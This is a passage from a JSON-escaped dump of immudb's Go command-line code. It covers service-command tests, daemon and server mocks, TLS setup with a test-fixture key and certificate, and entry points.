fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"stop\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServicRestartDaemonStopError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.StopF = func() (string, error) {\n\t\t\treturn \"\", fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"restart\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServicRestartDaemonStartError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.StartF = func() (string, error) {\n\t\t\treturn \"\", fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"restart\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServicRestarIsNotAdminError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.IsAdminF = func() (bool, error) {\n\t\treturn false, fmt.Errorf(\"error\")\n\t}\n\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"restart\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_ServicStatusDaemonStatusError(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\n\tss := servicetest.NewSservicemock()\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\tdm := servicetest.NewDaemonMock()\n\t\tdm.StatusF = func() (string, error) {\n\t\t\treturn \"\", fmt.Errorf(\"error\")\n\t\t}\n\t\treturn dm, nil\n\t}\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"status\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_CommandInvalidArgument(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tss := servicetest.NewSservicemock()\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\", \"wrong\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n\nfunc TestCommandline_CommandMissingCommandName(t *testing.T) {\n\tcmd := &cobra.Command{}\n\ttr := &clienttest.TerminalReaderMock{}\n\tss := servicetest.NewSservicemock()\n\tcld := commandline{helper.Config{}, ss, tr}\n\tcld.Service(cmd)\n\tcmd.SetArgs([]string{\"service\"})\n\terr := cmd.Execute()\n\trequire.Error(t, err)\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/servicetest/commandline.go",
    "content": "package servicetest\n\nimport \"github.com/spf13/cobra\"\n\ntype commandlineMock struct{}\n\nfunc (cl *commandlineMock) checkLoggedInAndConnect(cmd *cobra.Command, args []string) (err error) {\n\treturn nil\n}\n\nfunc (cl *commandlineMock) disconnect(cmd *cobra.Command, args []string) {}\n\nfunc (cl *commandlineMock) connect(cmd *cobra.Command, args []string) (err error) {\n\treturn nil\n}\nfunc (cl *commandlineMock) checkLoggedIn(cmd *cobra.Command, args []string) (err error) {\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/servicetest/configservice.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage servicetest\n\nimport (\n\t\"io\"\n\n\t\"github.com/spf13/viper\"\n)\n\ntype ConfigServiceMock struct {\n\t*viper.Viper\n}\n\nfunc (v *ConfigServiceMock) WriteConfigAs(filename string) error {\n\treturn nil\n}\nfunc (v *ConfigServiceMock) GetString(key string) string {\n\treturn \"\"\n}\nfunc (v *ConfigServiceMock) SetConfigType(in string) {}\n\nfunc (v *ConfigServiceMock) ReadConfig(in io.Reader) error {\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/servicetest/daemon.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage servicetest\n\nimport \"github.com/takama/daemon\"\n\nfunc NewDaemonMock() *daemonmock {\n\tdm := &daemonmock{}\n\tdm.SetTemplateF = func(string) error {\n\t\treturn nil\n\t}\n\tdm.InstallF = func(args ...string) (string, error) {\n\t\treturn \"\", nil\n\t}\n\tdm.RemoveF = func() (string, error) {\n\t\treturn \"\", nil\n\t}\n\tdm.StartF = func() (string, error) {\n\t\treturn \"\", nil\n\t}\n\tdm.StopF = func() (string, error) {\n\t\treturn \"\", nil\n\t}\n\tdm.StatusF = func() (string, error) {\n\t\treturn \"\", nil\n\t}\n\tdm.RunF = func(e daemon.Executable) (string, error) {\n\t\treturn \"\", nil\n\t}\n\treturn dm\n}\n\ntype daemonmock struct {\n\tdaemon.Daemon\n\tSetTemplateF func(string) error\n\tInstallF     func(args ...string) (string, error)\n\tRemoveF      func() (string, error)\n\tStartF       func() (string, error)\n\tStopF        func() (string, error)\n\tStatusF      func() (string, error)\n\tRunF         func(e daemon.Executable) (string, error)\n}\n\nfunc (d *daemonmock) SetTemplate(t string) error {\n\treturn d.SetTemplateF(t)\n}\n\nfunc (d *daemonmock) Install(args ...string) (string, error) {\n\treturn d.InstallF(args...)\n}\n\nfunc (d *daemonmock) Remove() (string, error) {\n\treturn d.RemoveF()\n}\n\nfunc (d *daemonmock) Start() (string, error) {\n\treturn d.StartF()\n}\n\nfunc (d *daemonmock) Stop() (string, error) {\n\treturn d.StopF()\n}\n\nfunc (d *daemonmock) Status() (string, error) {\n\treturn d.StatusF()\n}\n\nfunc (d *daemonmock) Run(e daemon.Executable) (string, error) {\n\treturn d.RunF(e)\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/servicetest/server.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage servicetest\n\nimport (\n\t\"github.com/codenotary/immudb/embedded/logger\"\n\t\"github.com/codenotary/immudb/pkg/server\"\n\t\"github.com/codenotary/immudb/pkg/stream\"\n)\n\nfunc NewDefaultImmuServerMock() *ImmuServerMock {\n\ts := &ImmuServerMock{}\n\ts.InitializeF = func() error {\n\t\treturn nil\n\t}\n\ts.StartF = func() error {\n\t\treturn nil\n\t}\n\ts.StopF = func() error {\n\t\treturn nil\n\t}\n\ts.WithOptionsF = func(options *server.Options) server.ImmuServerIf {\n\t\treturn s\n\t}\n\ts.WithLoggerF = func(logger.Logger) server.ImmuServerIf {\n\t\treturn s\n\t}\n\ts.WithStateSignerF = func(stateSigner server.StateSigner) server.ImmuServerIf {\n\t\treturn s\n\t}\n\treturn s\n}\n\ntype ImmuServerMock struct {\n\tserver.ImmuServerIf\n\tInitializeF               func() error\n\tStartF                    func() error\n\tStopF                     func() error\n\tWithOptionsF              func(options *server.Options) server.ImmuServerIf\n\tWithLoggerF               func(logger.Logger) server.ImmuServerIf\n\tWithStateSignerF          func(stateSigner server.StateSigner) server.ImmuServerIf\n\tWithStreamServiceFactoryF func(ssf stream.ServiceFactory) server.ImmuServerIf\n}\n\nfunc (d *ImmuServerMock) Initialize() error {\n\treturn d.InitializeF()\n}\nfunc (d *ImmuServerMock) Start() error {\n\treturn d.StartF()\n}\nfunc (d *ImmuServerMock) Stop() error {\n\treturn d.StopF()\n}\nfunc (d *ImmuServerMock) WithOptions(options *server.Options) server.ImmuServerIf {\n\treturn d.WithOptionsF(options)\n}\nfunc (d *ImmuServerMock) WithLogger(l logger.Logger) server.ImmuServerIf {\n\treturn d.WithLoggerF(l)\n}\nfunc (d *ImmuServerMock) WithStateSigner(stateSigner server.StateSigner) server.ImmuServerIf {\n\treturn d.WithStateSignerF(stateSigner)\n}\nfunc (d *ImmuServerMock) WithStreamServiceFactory(ssf stream.ServiceFactory) server.ImmuServerIf {\n\treturn d.WithStreamServiceFactoryF(ssf)\n}\n"
  },
  {
    "path": "cmd/immudb/command/service/servicetest/sservice.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage servicetest\n\nimport (\n\t\"github.com/spf13/cobra\"\n\t\"github.com/takama/daemon\"\n)\n\nfunc NewSservicemock() *Sservicemock {\n\tss := &Sservicemock{}\n\tss.NewDaemonF = func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\t\treturn NewDaemonMock(), nil\n\t}\n\n\tss.IsAdminF = func() (bool, error) {\n\t\treturn true, nil\n\t}\n\tss.InstallSetupF = func(serviceName string, cmd *cobra.Command) (err error) {\n\t\treturn nil\n\t}\n\tss.UninstallSetupF = func(serviceName string) (err error) {\n\t\treturn nil\n\t}\n\tss.EraseDataF = func(serviceName string) (err error) {\n\t\treturn nil\n\t}\n\tss.IsRunningF = func(status string) bool {\n\t\treturn false\n\t}\n\tss.GetDefaultConfigPathF = func(serviceName string) (string, error) {\n\t\treturn \"\", nil\n\t}\n\n\tss.ReadConfigF = func(serviceName string) (err error) {\n\t\treturn nil\n\t}\n\tss.InstallConfigF = func(serviceName string) (err error) {\n\t\treturn nil\n\t}\n\tss.CopyExecInOsDefaultF = func(execPath string) (newExecPath string, err error) {\n\t\treturn \"\", nil\n\t}\n\tss.GetDefaultExecPathF = func(serviceName string) (string, error) {\n\t\treturn \"\", nil\n\t}\n\tss.UninstallExecutablesF = func(serviceName string) error {\n\t\treturn nil\n\t}\n\treturn ss\n}\n\ntype Sservicemock struct {\n\tNewDaemonF            func(serviceName, description string, dependencies ...string) (d daemon.Daemon, err error)\n\tIsAdminF              func() (bool, error)\n\tInstallSetupF         func(serviceName string, cmd *cobra.Command) (err error)\n\tUninstallSetupF       func(serviceName string) (err error)\n\tEraseDataF            func(serviceName string) (err error)\n\tIsRunningF            func(status string) bool\n\tGetDefaultConfigPathF func(serviceName string) (string, error)\n\tReadConfigF           func(serviceName string) (err error)\n\tInstallConfigF        func(serviceName string) (err error)\n\tCopyExecInOsDefaultF  func(execPath string) (newExecPath string, err error)\n\tGetDefaultExecPathF   func(serviceName string) (string, error)\n\tUninstallExecutablesF func(serviceName string) error\n}\n\nfunc (ss *Sservicemock) NewDaemon(name, description string, dependencies ...string) (d daemon.Daemon, err error) {\n\treturn ss.NewDaemonF(name, description, dependencies...)\n}\n\nfunc (ss *Sservicemock) IsAdmin() (bool, error) {\n\treturn ss.IsAdminF()\n}\nfunc (ss *Sservicemock) InstallSetup(serviceName string, cmd *cobra.Command) (err error) {\n\treturn ss.InstallSetupF(serviceName, cmd)\n}\nfunc (ss *Sservicemock) UninstallSetup(serviceName string) (err error) {\n\treturn ss.UninstallSetupF(serviceName)\n}\nfunc (ss *Sservicemock) EraseData(serviceName string) (err error) {\n\treturn ss.EraseDataF(serviceName)\n}\nfunc (ss *Sservicemock) IsRunning(status string) bool {\n\treturn ss.IsRunningF(status)\n}\nfunc (ss *Sservicemock) GetDefaultConfigPath(serviceName string) (string, error) {\n\treturn ss.GetDefaultConfigPathF(serviceName)\n}\n\nfunc (ss *Sservicemock) ReadConfig(serviceName string) (err error) {\n\treturn ss.ReadConfigF(serviceName)\n}\nfunc (ss *Sservicemock) InstallConfig(serviceName string) (err error) {\n\treturn ss.InstallConfigF(serviceName)\n}\nfunc (ss *Sservicemock) CopyExecInOsDefault(execPath string) (newExecPath string, err error) {\n\treturn ss.CopyExecInOsDefaultF(execPath)\n}\nfunc (ss *Sservicemock) GetDefaultExecPath(serviceName string) (string, error) {\n\treturn ss.CopyExecInOsDefaultF(serviceName)\n}\nfunc (ss *Sservicemock) UninstallExecutables(serviceName string) error {\n\treturn ss.UninstallExecutablesF(serviceName)\n}\n\ntype SservicePermissionsMock struct{}\n\nfunc (ssp SservicePermissionsMock) GroupCreateIfNotExists() (err error) {\n\treturn nil\n}\nfunc (ssp SservicePermissionsMock) UserCreateIfNotExists() (err error) {\n\treturn nil\n}\nfunc (ssp SservicePermissionsMock) SetOwnership(path string) (err error) {\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/immudb/command/tls_config.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"crypto/tls\"\n\t\"crypto/x509\"\n\t\"errors\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"time\"\n\n\ttlscert \"github.com/codenotary/immudb/pkg/cert\"\n)\n\nconst (\n\tcertFileDefault = \"immudb-cert.pem\"\n\tkeyFileDefault  = \"immudb-key.pem\"\n\n\tcertOrganizationDefault = \"immudb\"\n\tcertExpirationDefault   = 365 * 24 * time.Hour\n)\n\nfunc setUpTLS(pkeyPath, certPath, ca string, mtls bool, autoCert bool) (*tls.Config, error) {\n\tif (pkeyPath == \"\" && certPath != \"\") || (pkeyPath != \"\" && certPath == \"\") {\n\t\treturn nil, fmt.Errorf(\"both certificate and private key paths must be specified or neither\")\n\t}\n\n\tvar c *tls.Config\n\n\tcertPath, pkeyPath, err := getCertAndKeyPath(certPath, pkeyPath, autoCert)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tif certPath != \"\" && pkeyPath != \"\" {\n\t\tcert, err := ensureCert(certPath, pkeyPath, autoCert)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read client certificate or private key: %v\", err)\n\t\t}\n\n\t\tc = &tls.Config{\n\t\t\tCertificates: []tls.Certificate{*cert},\n\t\t\tClientAuth:   tls.VerifyClientCertIfGiven,\n\t\t}\n\n\t\tif autoCert {\n\t\t\trootCert, err := os.ReadFile(certPath)\n\t\t\tif err != nil {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to read root cert: %v\", err)\n\t\t\t}\n\n\t\t\trootPool := x509.NewCertPool()\n\t\t\tif ok := rootPool.AppendCertsFromPEM(rootCert); !ok {\n\t\t\t\treturn nil, fmt.Errorf(\"failed to read root cert\")\n\t\t\t}\n\t\t\tc.RootCAs = rootPool\n\t\t}\n\t}\n\n\tif mtls && (certPath == \"\" || pkeyPath == \"\") {\n\t\treturn nil, errors.New(\"in order to enable MTLS a certificate and private key are required\")\n\t}\n\n\t// if CA is not provided there is an automatic load of local CA in os\n\tif mtls && ca != \"\" {\n\t\tcertPool := x509.NewCertPool()\n\t\t// Trusted store, contain the list of trusted certificates. client has to use one of this certificate to be trusted by this server\n\t\tbs, err := os.ReadFile(ca)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"failed to read client ca cert: %v\", err)\n\t\t}\n\n\t\tok := certPool.AppendCertsFromPEM(bs)\n\t\tif !ok {\n\t\t\treturn nil, fmt.Errorf(\"failed to append client certs: %v\", err)\n\t\t}\n\t\tc.ClientCAs = certPool\n\t}\n\treturn c, nil\n}\n\nfunc loadCert(certPath, keyPath string) (*tls.Certificate, error) {\n\tcert, err := tls.LoadX509KeyPair(certPath, keyPath)\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"failed to load cert/key pair: %w\", err)\n\t}\n\treturn &cert, nil\n}\n\nfunc ensureCert(certPath, keyPath string, genCert bool) (*tls.Certificate, error) {\n\t_, err1 := os.Stat(certPath)\n\t_, err2 := os.Stat(keyPath)\n\n\tif (os.IsNotExist(err1) || os.IsNotExist(err2)) && genCert {\n\t\tif err := tlscert.GenerateSelfSignedCert(certPath, keyPath, certOrganizationDefault, certExpirationDefault); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\treturn loadCert(certPath, keyPath)\n}\n\nfunc getCertAndKeyPath(certPath, keyPath string, useDefault bool) (string, string, error) {\n\tif !useDefault || (certPath != \"\" && keyPath != \"\") {\n\t\treturn certPath, keyPath, nil\n\t}\n\n\thomeDir, err := os.UserHomeDir()\n\tif err != nil {\n\t\treturn \"\", \"\", fmt.Errorf(\"cannot get user home directory: %w\", err)\n\t}\n\n\treturn filepath.Join(homeDir, \"immudb\", \"ssl\", certFileDefault),\n\t\tfilepath.Join(homeDir, \"immudb\", \"ssl\", keyFileDefault),\n\t\tnil\n}\n"
  },
  {
    "path": "cmd/immudb/command/tls_config_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immudb\n\nimport (\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"testing\"\n\n\t\"github.com/stretchr/testify/require\"\n)\n\nvar key = `\n-----BEGIN PRIVATE KEY-----\nMIIBVAIBADANBgkqhkiG9w0BAQEFAASCAT4wggE6AgEAAkEApIGvkc3ROIC18zdL\nK3I4VhKmY7gq1YU53dIwikrd5uy/fjUTmW73rLlthkV1zPvG/34rsW9kMDanmndb\nQENmHwIDAQABAkEAkOW9vCJaP3d3TCQO7NStdHr23eywpeO0BYMGyDiLXcMOcjaT\nMrkeCMyXsgtIaoh/sPFO356z2DXjz8Z4PY53EQIhANPSp0dOKi4OeqHdSsj8wjwt\neeAxCcASe3cz18gnBUB5AiEAxtDJ3spTLNogOoOzQA8g7rVT8xW5R5xQwfmvZwQx\nJVcCICAIkGGZMYnLiMInzCJ/DwS4v+CmqdnRMbjCL1TGieXJAiBvQXNWCx6UYNPc\nKsrqNA0Xx7zcsPFn01+VzOWM3lmqLQIgdUukJDJHjdX203wOJMd51jq3I+c1n09A\nSXr+Ea7CjsE=\n-----END PRIVATE KEY-----\n`\n\nvar cert = `\n-----BEGIN CERTIFICATE-----\nMIIB4TCCAYugAwIBAgIUIZwZa1cYqrwK+McrPStDwFD+e1AwDQYJKoZIhvcNAQEL\nBQAwRTELMAkGA1UEBhMCQVUxEzARBgNVBAgMClNvbWUtU3RhdGUxITAfBgNVBAoM\nGEludGVybmV0IFdpZGdpdHMgUHR5IEx0ZDAeFw0yMTA3MTYxNDMwMThaFw0yMjA3\nMTYxNDMwMThaMEUxCzAJBgNVBAYTAkFVMRMwEQYDVQQIDApTb21lLVN0YXRlMSEw\nHwYDVQQKDBhJbnRlcm5ldCBXaWRnaXRzIFB0eSBMdGQwXDANBgkqhkiG9w0BAQEF\nAANLADBIAkEApIGvkc3ROIC18zdLK3I4VhKmY7gq1YU53dIwikrd5uy/fjUTmW73\nrLlthkV1zPvG/34rsW9kMDanmndbQENmHwIDAQABo1MwUTAdBgNVHQ4EFgQU+ENZ\n1LFa7+HsPySAYZuPgz2tufkwHwYDVR0jBBgwFoAU+ENZ1LFa7+HsPySAYZuPgz2t\nufkwDwYDVR0TAQH/BAUwAwEB/zANBgkqhkiG9w0BAQsFAANBAHnfiyFv0PYoCCIW\nd/ax/lUR3RCVV6A+hzTgOhYKvoV1U6iX21hUarcm6MB6qaeORCHfQzQpn62nRe6X\n4LbTf3k=\n-----END CERTIFICATE-----\n`\n\nfunc TestSetUpTLS(t *testing.T) {\n\t_, err := setUpTLS(\"banana\", \"\", \"banana\", false, false)\n\trequire.Error(t, err)\n\t_, err = setUpTLS(\"banana\", \"banana\", \"banana\", false, false)\n\trequire.Error(t, err)\n\t_, err = setUpTLS(\"\", \"\", \"\", true, false)\n\trequire.Error(t, err)\n\t_, err = setUpTLS(\"banana\", \"\", \"\", true, false)\n\trequire.Error(t, err)\n\n\tdefer os.Remove(\"xxkey.pem\")\n\tf, _ := os.Create(\"xxkey.pem\")\n\tfmt.Fprint(f, key)\n\tf.Close()\n\n\tdefer os.Remove(\"xxcert.pem\")\n\tf, _ = os.Create(\"xxcert.pem\")\n\tfmt.Fprint(f, cert)\n\tf.Close()\n\n\t_, err = setUpTLS(\"xxkey.pem\", \"xxcert.pem\", \"banana\", true, false)\n\trequire.Error(t, err)\n}\n\nfunc TestSetUpTLSWithAutoHTTPS(t *testing.T) {\n\tt.Run(\"use specified paths\", func(t *testing.T) {\n\t\ttempDir := t.TempDir()\n\n\t\tcertFile := filepath.Join(tempDir, \"immudb.cert\")\n\t\tkeyFile := filepath.Join(tempDir, \"immudb.key\")\n\n\t\ttlsConfig, err := setUpTLS(certFile, keyFile, \"\", false, false)\n\t\trequire.Error(t, err)\n\t\trequire.Nil(t, tlsConfig)\n\n\t\ttlsConfig, err = setUpTLS(certFile, keyFile, \"\", false, true)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tlsConfig)\n\n\t\trequire.FileExists(t, certFile)\n\t\trequire.FileExists(t, keyFile)\n\n\t\ttlsConfig, err = setUpTLS(certFile, keyFile, \"\", false, false)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tlsConfig)\n\t})\n\n\tt.Run(\"use default paths\", func(t *testing.T) {\n\t\tcertPath, keyPath, err := getCertAndKeyPath(\"\", \"\", true)\n\t\trequire.NoError(t, err)\n\n\t\tdefer func() {\n\t\t\tos.RemoveAll(certPath)\n\t\t\tos.Remove(keyPath)\n\t\t}()\n\n\t\ttlsConfig, err := setUpTLS(\"\", \"\", \"\", false, true)\n\t\trequire.NoError(t, err)\n\t\trequire.NotNil(t, tlsConfig)\n\n\t\trequire.FileExists(t, certPath)\n\t\trequire.FileExists(t, keyPath)\n\t})\n}\n"
  },
  {
    "path": "cmd/immudb/fips/fips.go",
    "content": "//go:build fips\n// +build fips\n\n/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport (\n\t_ \"crypto/tls/fipsonly\"\n\n\timmudb \"github.com/codenotary/immudb/cmd/immudb/command\"\n)\n\nfunc main() {\n\timmudb.Execute()\n}\n"
  },
  {
    "path": "cmd/immudb/immudb.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage main\n\nimport immudb \"github.com/codenotary/immudb/cmd/immudb/command\"\n\nfunc main() {\n\timmudb.Execute()\n}\n"
  },
  {
    "path": "cmd/immutest/command/cmd.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immutest\n\nimport (\n\tc \"github.com/codenotary/immudb/cmd/helper\"\n\t\"github.com/codenotary/immudb/cmd/version\"\n\t\"github.com/codenotary/immudb/pkg/client/tokenservice\"\n\t\"github.com/spf13/cobra\"\n)\n\n// NewCmd creates a new immutest command\nfunc NewCmd(\n\tpwr c.PasswordReader,\n\ttr c.TerminalReader,\n\tts tokenservice.TokenService,\n\tonError func(err error)) *cobra.Command {\n\tcmd := &cobra.Command{}\n\tInit(cmd,\n\t\t&commandline{\n\t\t\tpwr:     pwr,\n\t\t\ttr:      tr,\n\t\t\ttkns:    ts,\n\t\t\tonError: onError,\n\t\t\tconfig:  c.Config{Name: \"immutest\"},\n\t\t})\n\tcmd.AddCommand(version.VersionCmd())\n\treturn cmd\n}\n"
  },
  {
    "path": "cmd/immutest/command/cmd_test.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage immutest\n\n/*\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"testing\"\n\n\t\"github.com/codenotary/immudb/pkg/api/schema\"\n\t\"github.com/codenotary/immudb/pkg/client\"\n\t\"github.com/codenotary/immudb/pkg/client/clienttest\"\n\t\"github.com/spf13/viper\"\n\t\"github.com/stretchr/testify/require\"\n)\n\nfunc TestImmutest(t *testing.T) {\n\tdefer viper.Reset()\n\n\tviper.Set(\"database\", \"defaultdb\")\n\tviper.Set(\"user\", \"immudb\")\n\tdata := map[string]string{}\n\tvar index uint64\n\tloginFOK := func(context.Context, []byte, []byte) (*schema.LoginResponse, error) {\n\t\treturn &schema.LoginResponse{Token: \"token\"}, nil\n\t}\n\tdisconnectFOK := func() error { return nil }\n\tuseDatabaseFOK := func(ctx context.Context, d *schema.Database) (*schema.UseDatabaseReply, error) {\n\t\treturn &schema.UseDatabaseReply{Token: \"token\"}, nil\n\t}\n\tsetFOK := func(ctx context.Context, key []byte, value []byte) (*schema.Index, error) {\n\t\tdata[string(key)] = string(value)\n\t\tr := schema.Index{Index: index}\n\t\tindex++\n\t\treturn &r, nil\n\t}\n\ticm := &clienttest.ImmuClientMock{\n\t\tGetOptionsF: func() *client.Options {\n\t\t\treturn client.DefaultOptions()\n\t\t},\n\t\tLoginF:       loginFOK,\n\t\tDisconnectF:  disconnectFOK,\n\t\tUseDatabaseF: useDatabaseFOK,\n\t\tSetF:         setFOK,\n\t}\n\n\tpwReaderMockOK := &clienttest.PasswordReaderMock{}\n\n\ttermReaderMockOK := &clienttest.TerminalReaderMock{\n\t\tReadFromTerminalYNF: func(def string) (selected string, err error) {\n\t\t\treturn \"Y\", nil\n\t\t},\n\t}\n\n\tnewClient := func(opts *client.Options) (client.ImmuClient, error) {\n\t\treturn icm, nil\n\t}\n\n\tts := clienttest.DefaultTokenServiceMock()\n\terrFunc := func(err error) {\n\t\trequire.NoError(t, err)\n\t}\n\n\tcmd1 := NewCmd(newClient, pwReaderMockOK, termReaderMockOK, ts, errFunc)\n\tcmd1.SetArgs([]string{\"3\"})\n\tcmd1.Execute()\n\trequire.Equal(t, 3, len(data))\n\n\tts2 := clienttest.DefaultTokenServiceMock()\n\thdsWriteErr := errors.New(\"hds write error\")\n\tts2.SetTokenF = func(db string, content string) error {\n\t\treturn hdsWriteErr\n\t}\n\n\terrFunc = func(err error) {\n\t\trequire.Error(t, err)\n\t\trequire.Equal(t, hdsWriteErr, err)\n\t}\n\tcmd2 := NewCmd(newClient, 